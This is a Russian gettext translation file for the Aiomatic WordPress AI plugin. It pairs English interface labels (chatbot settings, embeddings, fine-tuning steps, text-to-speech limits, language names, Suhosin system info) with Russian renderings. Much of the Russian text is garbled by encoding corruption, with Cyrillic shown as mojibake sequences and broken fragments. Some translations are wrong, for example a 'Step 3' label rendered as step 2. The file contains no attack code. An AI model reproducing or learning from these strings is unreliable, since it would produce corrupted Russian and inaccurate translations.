ÑƒÐ½Ð¸ÐºÐ°Ð»ÑŒÐ½Ñ‹Ð¼. Чтобы Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ " "работала, вам необходимо выбрать Ñлужбу Ñчетчика текÑта в меню «ОÑновные " "наÑтройки» плагина -> вкладка «МаÑÑовые ПоÑты» -> поле наÑтроек «Вращение " "текÑта Ñ Ð¸Ñпользованием Ñинонимов Ñлов»." #: res/aiomatic-main.php:8409 res/aiomatic-main.php:8928 msgid "Sports" msgstr "Виды Ñпорта" #: res/aiomatic-amazon-list.php:1661 res/aiomatic-amazon-list.php:4230 #: res/aiomatic-main.php:2056 res/aiomatic-main.php:3197 #: res/aiomatic-review-list.php:1730 res/aiomatic-review-list.php:4383 #: res/aiomatic-rules-list.php:1859 res/aiomatic-rules-list.php:4619 #: res/aiomatic-single-list.php:2327 res/aiomatic-single-list.php:3077 #: res/aiomatic-single-list.php:4330 res/aiomatic-single-list.php:5644 #: res/aiomatic-single-list.php:7010 res/aiomatic-spinner-list.php:1292 #: res/aiomatic-spinner-list.php:1395 res/aiomatic-spinner-list.php:1568 #: res/aiomatic-spinner-list.php:2019 res/aiomatic-youtube-list.php:1617 #: res/aiomatic-youtube-list.php:4141 msgid "Stability.AI" msgstr "Stability.AI" #: res/aiomatic-main.php:2513 res/aiomatic-main.php:2586 msgid "Stability.AI API Settings:" msgstr "ÐаÑтройки Stability.AI API:" #: res/aiomatic-main.php:2045 #| msgid "Stability.AI API" msgid "Stability.AI API:" msgstr "Stability.AI API:" #: aiomatic-ajax-actions.php:8022 res/aiomatic-shortcodes.php:206 msgid "Stable Diffusion Image" msgstr "Стабильное Диффузное Изображение" #: res/aiomatic-playground.php:28 msgid "Stable Diffusion Image Generator" msgstr "Генератор Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Stable Diffusion" #: res/aiomatic-main.php:2993 msgid "Stable Diffusion Tutorial Video:" msgstr "Учебное видео Stable Diffusion:" #: res/aiomatic-amazon-list.php:1978 res/aiomatic-amazon-list.php:4558 #: res/aiomatic-csv-list.php:427 res/aiomatic-csv-list.php:1561 #: res/aiomatic-review-list.php:2047 res/aiomatic-review-list.php:4711 #: res/aiomatic-rules-list.php:2176 res/aiomatic-rules-list.php:4947 #: res/aiomatic-youtube-list.php:1949 res/aiomatic-youtube-list.php:4486 msgid "Standard" msgstr "Стандартный" #: res/aiomatic-single-list.php:1086 msgid "Start Processing" msgstr "Ðачать обработку" #: res/aiomatic-training.php:342 msgid "Started" msgstr "Стартовал" #: res/aiomatic-main.php:24 msgid "Statistics" msgstr "СтатиÑтика" #: res/aiomatic-main.php:3001 msgid "Statistics Settings:" msgstr "ÐаÑтройки ÑтатиÑтики:" #: res/aiomatic-amazon-list.php:1984 res/aiomatic-amazon-list.php:4588 #: res/aiomatic-assistants.php:120 res/aiomatic-csv-list.php:433 #: res/aiomatic-csv-list.php:1591 res/aiomatic-review-list.php:2053 #: res/aiomatic-review-list.php:4741 res/aiomatic-rules-list.php:2182 #: res/aiomatic-rules-list.php:4977 res/aiomatic-single-list.php:537 #: res/aiomatic-single-list.php:7323 res/aiomatic-training.php:512 #: res/aiomatic-youtube-list.php:1955 res/aiomatic-youtube-list.php:4516 msgid "Status" msgstr "СтатуÑ" #: aiomatic-automatic-ai-content-writer.php:13870 #: res/aiomatic-automation-list.php:1232 res/aiomatic-automation-list.php:3699 #: res/aiomatic-automation-list.php:6453 msgid "Step" msgstr "Шаг" #: res/aiomatic-embeddings.php:51 res/aiomatic-shortcodes.php:114 #: res/aiomatic-training.php:59 msgid "Step 0: Read this tutorial carefully and watch the tutorial video" msgstr "Шаг 0: Внимательно прочитайте Ñтот урок и поÑмотрите обучающее видео." #: res/aiomatic-embeddings.php:35 res/aiomatic-training.php:43 msgid "Step 0: Tutorial" msgstr "Шаг 0: Учебник" #: res/aiomatic-embeddings.php:52 msgid "Step 1: Create your data for embeddings" msgstr "Шаг 1. Создайте данные Ð´Ð»Ñ Ð’ÑтраиваниÑ" #: res/aiomatic-training.php:60 msgid "Step 1: Create your data for fine-tuning" msgstr "Шаг 1. Создайте данные Ð´Ð»Ñ Ð¢Ð¾Ð½ÐºÐ¾Ð¹ ÐаÑтройки" #: res/aiomatic-chatbot.php:664 msgid "Step 1: Customize the Chatbot Behavior" msgstr "Шаг 1. ÐаÑтройте поведение Чат-бота" #: res/aiomatic-embeddings.php:36 msgid "Step 1a: Add A New Embedding" msgstr "Шаг 1а: Добавьте новое Ð’Ñтраивание" #: res/aiomatic-training.php:44 res/aiomatic-training.php:64 msgid "Step 1a: Dataset Uploader" msgstr "Шаг 1a. Загрузчик набора данных" #: res/aiomatic-shortcodes.php:115 msgid "Step 1a: Import the default AI Forms" msgstr "Шаг 1a. Импорт Форм AI по умолчанию" #: res/aiomatic-assistants.php:59 msgid "Step 1a: Set Up Your Assistant" msgstr "Шаг 1а. ÐаÑтройте ÐÑÑиÑтента" #: res/aiomatic-shortcodes.php:117 msgid "Step 1b: Create your own AI Forms" msgstr "Шаг 1b: Создайте Ñвои ÑобÑтвенные AI-Формы" #: res/aiomatic-training.php:45 res/aiomatic-training.php:67 msgid "Step 1b: Dataset Manual Entry" msgstr "Шаг 1b: Ручной ввод набора данных" #: res/aiomatic-assistants.php:61 msgid "Step 1b: Set Up Your Assistant" msgstr "Шаг 1б. ÐаÑтройте ÐÑÑиÑтента" #: res/aiomatic-embeddings.php:37 msgid "Step 1b: Upload Embeddings from CSV" msgstr "Шаг 1b. Загрузите Ð’Ñтраивание из CSV" #: res/aiomatic-training.php:46 res/aiomatic-training.php:69 msgid "Step 1c: Dataset Converter" msgstr "Шаг 1c: Конвертер набора данных" #: res/aiomatic-chatbot.php:666 msgid "Step 2: Add the Chatbot to Your Website" msgstr "Шаг 2: Добавьте Чат-бота на Ñвой Ñайт" #: res/aiomatic-embeddings.php:38 res/aiomatic-embeddings.php:54 msgid "Step 2: Auto Index Existing Posts" msgstr "Шаг 2: ÐвтоматичеÑкое ИндекÑирование СущеÑтвующих ПоÑтов" #: res/aiomatic-training.php:47 msgid "Step 2: Datasets" msgstr "Шаг 2: Ðаборы данных" #: res/aiomatic-assistants.php:63 msgid "Step 2: Select The Assistants To Be Used In Plugin Settings" msgstr "" "Шаг 2. Выберите аÑÑиÑтентов, которые будут иÑпользоватьÑÑ Ð² наÑтройках " "плагина" #: res/aiomatic-training.php:72 msgid "Step 2: Start training your model" msgstr "Шаг 2: Ðачните обучение Модели" #: res/aiomatic-shortcodes.php:118 msgid "Step 2: Use the AI Forms" msgstr "Шаг 2: ИÑпользуйте AI-Формы" #: res/aiomatic-training.php:73 msgid "Step 3: Check progress of the fine tune" msgstr "Шаг 3: Проверьте ход Тонкой ÐаÑтройки" #: res/aiomatic-embeddings.php:39 res/aiomatic-embeddings.php:55 #| msgid "Step 2: List Added Embeddings" msgid "Step 3: List Added Embeddings" msgstr "Шаг 2: СпиÑок Добавленных Ð’Ñтраиваний" #: res/aiomatic-training.php:48 msgid "Step 3: Model Finetunes" msgstr "Шаг 3: Ð¢Ð¾Ð½ÐºÐ°Ñ Ð½Ð°Ñтройка модели" #: res/aiomatic-chatbot.php:668 msgid "Step 3: Test the Chatbot" msgstr "Шаг 3: протеÑтируйте Чат-бот" #: res/aiomatic-single-list.php:549 res/aiomatic-single-list.php:7335 msgid "Sticky" msgstr "Липкий" #: aiomatic-helpers.php:394 msgid "Store royalty-free or AI-generated images on Amazon S3" msgstr "" "Храните изображениÑ, не требующие лицензионных отчиÑлений, или изображениÑ, " "Ñозданные иÑкуÑÑтвенным интеллектом, на Amazon S3." #: aiomatic-automation.php:216 msgid "Strip All HTML Tags" msgstr "Удалить вÑе HTML-теги" #: res/aiomatic-chatbot.php:4070 msgid "Strip JavaScript From Chatbot HTML Responses:" msgstr "Удалите JavaScript из HTML-ответов Чат-бота:" #: res/aiomatic-amazon-list.php:4362 res/aiomatic-csv-list.php:1348 #: res/aiomatic-review-list.php:4515 res/aiomatic-rules-list.php:4751 #: res/aiomatic-youtube-list.php:4273 msgid "Strip Title From Content" msgstr "Удалить Заголовок из Ñодержимого" #: res/aiomatic-amazon-list.php:1798 res/aiomatic-csv-list.php:232 #: res/aiomatic-review-list.php:1867 res/aiomatic-rules-list.php:1996 #: res/aiomatic-single-list.php:1142 res/aiomatic-single-list.php:2445 #: res/aiomatic-single-list.php:3195 res/aiomatic-single-list.php:4448 #: res/aiomatic-single-list.php:5762 res/aiomatic-single-list.php:7128 #: res/aiomatic-youtube-list.php:1754 msgid "Strip Title From Content:" msgstr "Удалите Заголовок из ÑодержаниÑ:" #: res/aiomatic-chatbot.php:3163 res/aiomatic-spinner-list.php:3383 msgid "Style Exaggeration:" msgstr "Преувеличение ÑтилÑ:" #: res/aiomatic-main.php:2741 msgid "Style Preset:" msgstr "ПредуÑтановка ÑтилÑ:" #: res/aiomatic-chatbot.php:631 msgid "Styling" msgstr "Стайлинг" #: res/aiomatic-main.php:3592 msgid "Submit Button Alignment:" msgstr "Выравнивание Кнопки Отправки:" #: res/aiomatic-chatbot.php:1956 res/aiomatic-chatbot.php:3795 msgid "Submit Button Color:" msgstr "Цвет кнопки Отправки:" #: res/aiomatic-main.php:3554 msgid "Submit Button Location:" msgstr "РаÑположение Кнопки «Отправить»:" #: res/aiomatic-chatbot.php:1972 res/aiomatic-chatbot.php:3811 msgid "Submit Button Text Color:" msgstr "Цвет ТекÑта Кнопки «Отправить»:" #: aiomatic-ajax-actions.php:8172 res/aiomatic-shortcodes.php:374 msgid "Submit Button Text*" msgstr " ТекÑтКнопки Отправить *" #: aiomatic-automation.php:959 msgid "Subreddits Where To Publish Posts" msgstr "Сабреддиты, где публиковать поÑÑ‚Ñ‹" #: res/aiomatic-limits-statistics.php:192 #: res/aiomatic-limits-statistics.php:1593 msgid "Subscription Plan:" msgstr "План ПодпиÑки:" #: res/aiomatic-amazon-list.php:2397 res/aiomatic-automation-list.php:4959 #: res/aiomatic-csv-list.php:944 res/aiomatic-review-list.php:2466 #: res/aiomatic-rules-list.php:2594 res/aiomatic-youtube-list.php:2368 msgid "Success" msgstr "УÑпешно выполнено" #: res/admin/ai-post-gutenberg.php:42 res/admin/ai-post.php:42 #, php-format msgid "" "Suggest a series of pertinent keywords in English for your WordPress %s: " "\"%s\". These keywords should be closely connected to the %s, optimizing its " "visibility. Please present the keywords in a comma-separated format without " "using symbols like -, #, etc." msgstr "" "Предложите Ñ€Ñд подходÑщих ключевых Ñлов на английÑком Ñзыке Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ " "WordPress %s: \"%s\". Эти ключевые Ñлова должны быть теÑно ÑвÑзаны Ñ %s, " "Ð¾Ð¿Ñ‚Ð¸Ð¼Ð¸Ð·Ð¸Ñ€ÑƒÑ ÐµÐ³Ð¾ видимоÑÑ‚ÑŒ. Укажите ключевые Ñлова в формате, разделенном " "запÑтыми, без иÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚Ð°ÐºÐ¸Ñ… Ñимволов, как -, # и Ñ‚. д. " #: res/aiomatic-logs.php:240 msgid "SUHOSIN Installed" msgstr "Suhosin уÑтановлен" #: res/aiomatic-logs.php:240 msgid "SUHOSIN Installed:" msgstr "Suhosin уÑтановлен:" #: res/aiomatic-logs.php:241 msgid "" "Suhosin is an advanced protection system for PHP installations. It was " "designed to protect your servers on the one hand against a number of well " "known problems in PHP applications and on the other hand against potential " "unknown vulnerabilities within these applications or the PHP core itself.\n" "\t\tIf enabled on your server, Suhosin may need to be configured to increase " "its data submission limits." msgstr "" "Suhosin — Ñто Ð¿Ñ€Ð¾Ð´Ð²Ð¸Ð½ÑƒÑ‚Ð°Ñ ÑиÑтема защиты Ð´Ð»Ñ ÑƒÑтановок PHP. Он был " "разработан Ð´Ð»Ñ Ð·Ð°Ñ‰Ð¸Ñ‚Ñ‹ ваших Ñерверов, Ñ Ð¾Ð´Ð½Ð¾Ð¹ Ñтороны, от Ñ€Ñда хорошо " "извеÑтных проблем в приложениÑÑ… PHP, а Ñ Ð´Ñ€ÑƒÐ³Ð¾Ð¹ Ñтороны, от потенциальных " "неизвеÑтных уÑзвимоÑтей в Ñтих приложениÑÑ… или Ñамом Ñдре PHP. ЕÑли на вашем " "Ñервере включен Suhosin, возможно, потребуетÑÑ Ð½Ð°Ñтроить его Ð´Ð»Ñ ÑƒÐ²ÐµÐ»Ð¸Ñ‡ÐµÐ½Ð¸Ñ " "лимита отправки данных." #: res/aiomatic-logs.php:303 msgid "Suhosin Post Max Value Length" msgstr "Suhosin Post Max Value Length" #: res/aiomatic-logs.php:303 msgid "Suhosin Post Max Value Length:" msgstr "Suhosin Post Max Value Length:" #: res/aiomatic-logs.php:247 msgid "Suhosin Post Max Vars" msgstr "Suhosin Post Max Vars" #: res/aiomatic-logs.php:247 msgid "Suhosin Post Max Vars:" msgstr "Suhosin Post Max Vars:" #: res/aiomatic-logs.php:275 msgid "Suhosin Request Max Vars" msgstr "Suhosin Request Max Vars" #: res/aiomatic-logs.php:275 msgid "Suhosin Request Max Vars:" msgstr "Suhosin Request Max Vars:" #: res/aiomatic-amazon-list.php:103 res/aiomatic-review-list.php:103 #: res/aiomatic-rules-list.php:103 res/aiomatic-single-list.php:103 #: res/aiomatic-single-list.php:241 res/aiomatic-youtube-list.php:103 msgid "Sundanese" msgstr "СуданÑкий" #: res/aiomatic-languages.php:103 msgid "Sundanese (Google Translate)" msgstr "Сунданез (переводчик Google)" #: aiomatic-automatic-ai-content-writer.php:1577 res/other/plugin-dash.php:91 msgid "Support" msgstr "Поддержка" #: res/aiomatic-main.php:1684 msgid "Supported Until:" msgstr "ПоддерживаетÑÑ Ð´Ð¾:" #: res/aiomatic-amazon-list.php:50 res/aiomatic-amazon-list.php:104 #: res/aiomatic-review-list.php:50 res/aiomatic-review-list.php:104 #: res/aiomatic-rules-list.php:50 res/aiomatic-rules-list.php:104 #: res/aiomatic-single-list.php:50 res/aiomatic-single-list.php:104 #: res/aiomatic-single-list.php:188 res/aiomatic-single-list.php:242 #: res/aiomatic-youtube-list.php:50 res/aiomatic-youtube-list.php:104 msgid "Swahili" msgstr "Суахили" #: res/aiomatic-languages.php:50 res/aiomatic-languages.php:104 msgid "Swahili (Google Translate)" msgstr "Суахили (переводчик Google)" #: aiomatic-helpers.php:1497 msgid "Sweden" msgstr "ШвециÑ" #: res/aiomatic-amazon-list.php:51 res/aiomatic-main.php:8608 #: res/aiomatic-review-list.php:51 res/aiomatic-rules-list.php:51 #: res/aiomatic-single-list.php:51 res/aiomatic-single-list.php:189 #: res/aiomatic-youtube-list.php:51 msgid "Swedish" msgstr "ШведÑкий" #: res/aiomatic-languages.php:51 msgid "Swedish (Google Translate)" msgstr "ШведÑкий (переводчик Google)" #: res/aiomatic-assistants.php:212 msgid "Sync" msgstr "СинхронизациÑ" #: res/aiomatic-chatbot.php:2690 msgid "Sync ElevenLabs.io Voices:" msgstr "Синхронизируйте голоÑа ElevenLabs.io:" #: res/aiomatic-embeddings.php:79 msgid "Sync Embeddings" msgstr "Ð¡Ð¸Ð½Ñ…Ñ€Ð¾Ð½Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð’Ñтраиваний" #: res/aiomatic-assistants.php:111 res/aiomatic-training.php:415 msgid "Sync Files" msgstr "Синхронизировать Файлы" #: res/aiomatic-training.php:497 msgid "Sync Fine-tunes" msgstr "Ð¡Ð¸Ð½Ñ…Ñ€Ð¾Ð½Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð¢Ð¾Ð½ÐºÐ¸Ñ… ÐаÑтроек" #: res/aiomatic-shortcodes.php:484 msgid "Sync Forms" msgstr "Ð¡Ð¸Ð½Ñ…Ñ€Ð¾Ð½Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð¤Ð¾Ñ€Ð¼" #: res/aiomatic-chatbot.php:2694 msgid "Sync Google Text-to-Speech Voices:" msgstr "Синхронизируйте Google Text-to-Speech Voices:" #: res/aiomatic-automation-list.php:2208 msgid "Sync OmniBlock Files" msgstr "Ð¡Ð¸Ð½Ñ…Ñ€Ð¾Ð½Ð¸Ð·Ð°Ñ†Ð¸Ñ Ñ„Ð°Ð¹Ð»Ð¾Ð² OmniBlock" #: res/aiomatic-chatbot.php:2273 msgid "Sync Personas" msgstr "Синхронизировать перÑоны" #: res/aiomatic-training.php:181 msgid "System" msgstr "СиÑтема" #: res/aiomatic-logs.php:55 #| msgid "System Info:" msgid "System Info" msgstr "Ð˜Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ СиÑтеме:" #: res/aiomatic-logs.php:449 msgid "System Information" msgstr "СиÑÑ‚ÐµÐ¼Ð½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ" #: res/aiomatic-embeddings.php:347 res/aiomatic-spinner-list.php:4395 msgid "Tag Names:" msgstr "Имена тегов:" #: aiomatic-automation.php:1208 msgid "Tag1, Tag2, Tag3" msgstr "Тег1, Тег2, Тег3" #: res/admin/ai-post-gutenberg.php:196 res/admin/ai-post.php:189 msgid "Tags Prompt" msgstr "Промпт Тегов " #: res/aiomatic-amazon-list.php:105 res/aiomatic-review-list.php:105 #: res/aiomatic-rules-list.php:105 res/aiomatic-single-list.php:105 #: res/aiomatic-single-list.php:243 res/aiomatic-youtube-list.php:105 msgid "Tajik" msgstr "ТаджикÑкий" #: res/aiomatic-languages.php:105 msgid "Tajik (Google Translate)" msgstr "ТаджикÑкий (переводчик Google)" #: res/aiomatic-amazon-list.php:58 res/aiomatic-review-list.php:58 #: res/aiomatic-rules-list.php:58 res/aiomatic-single-list.php:58 #: res/aiomatic-single-list.php:196 res/aiomatic-youtube-list.php:58 msgid "Tamil" msgstr "ТамильÑкий" #: res/aiomatic-languages.php:58 msgid "Tamil (Google Translate)" msgstr "ТамильÑкий (переводчик гугл)" #: res/aiomatic-main.php:9233 msgid "Target Content" msgstr "Целевой Контент" #: res/aiomatic-amazon-list.php:133 res/aiomatic-review-list.php:133 #: res/aiomatic-rules-list.php:133 res/aiomatic-single-list.php:133 #: res/aiomatic-single-list.php:271 res/aiomatic-youtube-list.php:133 msgid "Tatar" msgstr "ТатарÑкий" #: res/aiomatic-languages.php:134 msgid "Tatar (Google Translate)" msgstr "ТатарÑкий (Google Переводчик)" #: aiomatic-automatic-ai-content-writer.php:15391 msgctxt "taxonomy general name" msgid "Post Source" msgstr "ИÑточник запиÑи" #: aiomatic-automatic-ai-content-writer.php:15392 msgctxt "taxonomy singular name" msgid "Post Source" msgstr "ИÑточник запиÑи" #: res/aiomatic-amazon-list.php:67 res/aiomatic-review-list.php:67 #: res/aiomatic-rules-list.php:67 res/aiomatic-single-list.php:67 #: res/aiomatic-single-list.php:205 res/aiomatic-youtube-list.php:67 msgid "Telugu" msgstr "ПиÑьмо Телугу" #: res/aiomatic-languages.php:67 msgid "Telugu (Google Translate)" msgstr "Телугу (переводчик Google)" #: aiomatic-ajax-actions.php:8131 res/aiomatic-shortcodes.php:323 #: res/aiomatic-single-list.php:789 msgid "Temperature" msgstr "Temperature" #: res/aiomatic-main.php:7020 #, php-format msgid "Template For the %%web_results%% Shortcode:" msgstr "Шаблон Ð´Ð»Ñ ÐºÐ¾Ñ€Ð¾Ñ‚ÐºÐ¾Ð³Ð¾ кода %%web_results%%:" #: res/aiomatic-assistants.php:208 msgid "Test" msgstr "ТеÑÑ‚" #: aiomatic-ajax-actions.php:8008 res/aiomatic-main.php:3414 #: res/aiomatic-main.php:9543 res/aiomatic-shortcodes.php:59 #: res/aiomatic-shortcodes.php:201 msgid "Text" msgstr "ТекÑÑ‚" #: res/aiomatic-playground.php:24 res/aiomatic-playground.php:47 msgid "Text Completion" msgstr "Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°ÑÑ‚ÑŒ текÑта" #: res/aiomatic-playground.php:49 msgid "" "Text completion is a feature where the AI can continue a text entered by the " "user. To use this feature, you would typically enter a piece of text, and " "the AI would generate a continuation of that text. This could be used for a " "variety of purposes, such as generating ideas for a story or completing a " "sentence in a natural-sounding way." msgstr "" "Ð—Ð°ÐºÐ»ÑŽÑ‡Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð§Ð°ÑÑ‚ÑŒ текÑта — Ñто функциÑ, при которой AI может продолжить " "текÑÑ‚, введенный пользователем. Чтобы иÑпользовать Ñту функцию, вы обычно " "вводите фрагмент текÑта, а AI генерирует продолжение Ñтого текÑта. Это можно " "иÑпользовать Ð´Ð»Ñ Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ñ‹Ñ… целей, например, Ð´Ð»Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð¸Ð´ÐµÐ¹ Ð´Ð»Ñ Ñ€Ð°ÑÑказа " "или Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ Ð¿Ñ€ÐµÐ´Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ Ð² еÑтеÑтвенно звучащей форме." #: res/aiomatic-main.php:6777 res/aiomatic-main.php:7279 msgid "Text Completion Shortcodes" msgstr "Шорткоды Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ Ñ‚ÐµÐºÑта" #: res/aiomatic-playground.php:25 res/aiomatic-playground.php:51 msgid "Text Editing" msgstr "Редактирование ТекÑта" #: res/aiomatic-playground.php:53 msgid "" "Text editing is a feature where the AI can be instructed to edit a text in " "multiple different ways. For example, you might input a piece of text and " "ask the AI to rewrite it in a more formal or informal tone, to simplify it, " "or to correct any grammatical errors. This could be useful for improving the " "quality of written content or adapting it for different audiences." msgstr "" "Редактирование текÑта — Ñто функциÑ, позволÑÑŽÑ‰Ð°Ñ AI редактировать текÑÑ‚ " "неÑколькими ÑпоÑобами. Ðапример, вы можете ввеÑти фрагмент текÑта и " "попроÑить AI перепиÑать его в более официальном или неформальном тоне, " "упроÑтить его или иÑправить любые грамматичеÑкие ошибки. Это может быть " "полезно Ð´Ð»Ñ ÑƒÐ»ÑƒÑ‡ÑˆÐµÐ½Ð¸Ñ ÐºÐ°Ñ‡ÐµÑтва пиÑьменного Контента или его адаптации Ð´Ð»Ñ " "разных аудиторий." #: res/aiomatic-main.php:6783 res/aiomatic-main.php:7285 msgid "Text Editing Shortcode" msgstr "Шорткод Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта" #: res/aiomatic-chatbot.php:1276 res/aiomatic-chatbot.php:2240 msgid "Text For Prompt Templates Selection:" msgstr "ТекÑÑ‚ Ð´Ð»Ñ Ð²Ñ‹Ð±Ð¾Ñ€Ð° шаблонов промптов:" #: res/aiomatic-playground.php:31 res/aiomatic-playground.php:67 msgid "Text Moderation" msgstr "ÐœÐ¾Ð´ÐµÑ€Ð°Ñ†Ð¸Ñ Ñ‚ÐµÐºÑта" #: res/aiomatic-playground.php:69 msgid "" "Text moderation is a feature where the AI filters unwanted content from your " "site. You would typically set up rules or criteria for what constitutes " "unwanted content, and the AI would review incoming content and filter out " "anything that meets those criteria. This could be used for a variety of " "purposes, such as preventing spam, blocking offensive content, or " "maintaining a positive community environment." msgstr "" "ÐœÐ¾Ð´ÐµÑ€Ð°Ñ†Ð¸Ñ Ñ‚ÐµÐºÑта — Ñто функциÑ, при которой иÑкуÑÑтвенный интеллект " "отфильтровывает нежелательный Контент Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ Ñайта. Обычно вы " "уÑтанавливаете правила или критерии того, что предÑтавлÑет Ñобой " "нежелательный Контент, а AI проÑматривает входÑщий Контент и отфильтровывает " "вÑе, что ÑоответÑтвует Ñтим критериÑм. Это может быть иÑпользовано Ð´Ð»Ñ " "различных целей, таких как предотвращение Ñпама, блокирование " "оÑкорбительного Контента или поддержание позитивной атмоÑферы в ÑообщеÑтве." #: aiomatic-automation.php:514 msgid "Text Spinner" msgstr "ТекÑтовый вращатель" #: aiomatic-automation.php:83 msgid "Text to append" msgstr "ТекÑÑ‚ Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ" #: aiomatic-automation.php:81 msgid "Text To Append To Each Content Block" msgstr "ТекÑÑ‚ Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð² каждый блок контента" #: res/aiomatic-spinner-list.php:2948 msgid "Text to Audio/Video Options:" msgstr "ТекÑÑ‚ в аудио/видео параметры:" #: res/aiomatic-spinner-list.php:3687 msgid "Text To Audio/Video Template:" msgstr "ТекÑÑ‚ в шаблон аудио/видео:" #: aiomatic-automation.php:523 msgid "Text To Be Spun" msgstr "ТекÑÑ‚ Ð´Ð»Ñ Ð²Ñ€Ð°Ñ‰ÐµÐ½Ð¸Ñ" #: aiomatic-automation.php:487 msgid "Text To Be Translated" msgstr "ТекÑÑ‚ Ð´Ð»Ñ Ð¿ÐµÑ€ÐµÐ²Ð¾Ð´Ð°" #: aiomatic-automation.php:76 msgid "Text to prepend" msgstr "ТекÑÑ‚ Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ" #: aiomatic-automation.php:74 msgid "Text To Prepend To Each Content Block" msgstr "ТекÑÑ‚ Ð´Ð»Ñ Ð´Ð¾Ð±Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ðº каждому блоку контента" #: aiomatic-automation.php:478 msgid "Text Translator" msgstr "Переводчик текÑта" #: res/aiomatic-main.php:2150 msgid "Text-to-Speech API Settings:" msgstr "ÐаÑтройки API ÐŸÑ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¢ÐµÐºÑта в Речь:" #: res/aiomatic-limits-statistics.php:805 msgid "Text-to-Speech Restrictions For Logged In Users:" msgstr "" "ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь Ð´Ð»Ñ Ð·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных " "пользователей:" #: res/aiomatic-limits-statistics.php:936 msgid "Text-to-Speech Restrictions For Not Logged In Users:" msgstr "" "ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь Ð´Ð»Ñ Ð½ÐµÐ·Ð°Ñ€ÐµÐ³Ð¸Ñтрированных " "пользователей:" #: res/aiomatic-limits-statistics.php:457 msgid "Text-to-Speech Usage Limits" msgstr "ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¸ÑÐ¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ñ‚ÐµÐºÑта в речь" #: res/aiomatic-chatbot.php:636 msgid "Text-to-Speech/Video" msgstr "Преобразование текÑта в речь/видео" #: res/aiomatic-main.php:2195 msgid "Text-to-Video API Settings:" msgstr "ÐаÑтройки API ÐŸÑ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ Ð¢ÐµÐºÑта в Видео:" #: res/aiomatic-shortcodes.php:64 msgid "Textarea" msgstr "ТекÑтовое поле" #: res/aiomatic-main.php:7895 msgid "TextRazor" msgstr "TextRazor" #: res/aiomatic-main.php:2318 msgid "" "TextRazor API Key List (Optional) (Used for Relevant Keyword Extraction From " "Text):" msgstr "" "СпиÑок ключей TextRazor API (необÑзательно) (иÑпользуетÑÑ Ð´Ð»Ñ Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ " "релевантных Ключевых Слов из текÑта):" #: res/aiomatic-main.php:2307 msgid "TextRazor API:" msgstr "TextRazor API:" #: res/aiomatic-amazon-list.php:52 res/aiomatic-main.php:8623 #: res/aiomatic-review-list.php:52 res/aiomatic-rules-list.php:52 #: res/aiomatic-single-list.php:52 res/aiomatic-single-list.php:190 #: res/aiomatic-youtube-list.php:52 msgid "Thai" msgstr "ТайÑкий" #: res/aiomatic-languages.php:52 msgid "Thai (Google Translate)" msgstr "ТайÑкий (переводчик Google)" #: res/aiomatic-main.php:1621 msgid "" "Thank you for choosing Aiomatic, and I look forward to the plugin helping " "you create amazing content and features for your WordPress site!" msgstr "" "СпаÑибо, что выбрали Aiomatic, и Ñ Ñ Ð½ÐµÑ‚ÐµÑ€Ð¿ÐµÐ½Ð¸ÐµÐ¼ жду когда Ð’Ñ‹ начнете " "иÑпользовать Плагин, который поможет вам Ñоздавать потрÑÑающий Контент и " "Функции Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ³Ð¾ Ñайта WordPress!" #: res/aiomatic-assistants.php:65 msgid "" "That's it! You've successfully set up an AI-powered Assistant on your " "WordPress website using the Aiomatic plugin. This Assistant can be a " "valuable tool for engaging with your website visitors, answering frequently " "asked questions, and providing personalized assistance, or even create " "content for your site which is highly focused on your specific needs." msgstr "" "Вот и вÑе! Ð’Ñ‹ уÑпешно уÑтановили на Ñвой Ñайт WordPress аÑÑиÑтента, " "работающего на оÑнове 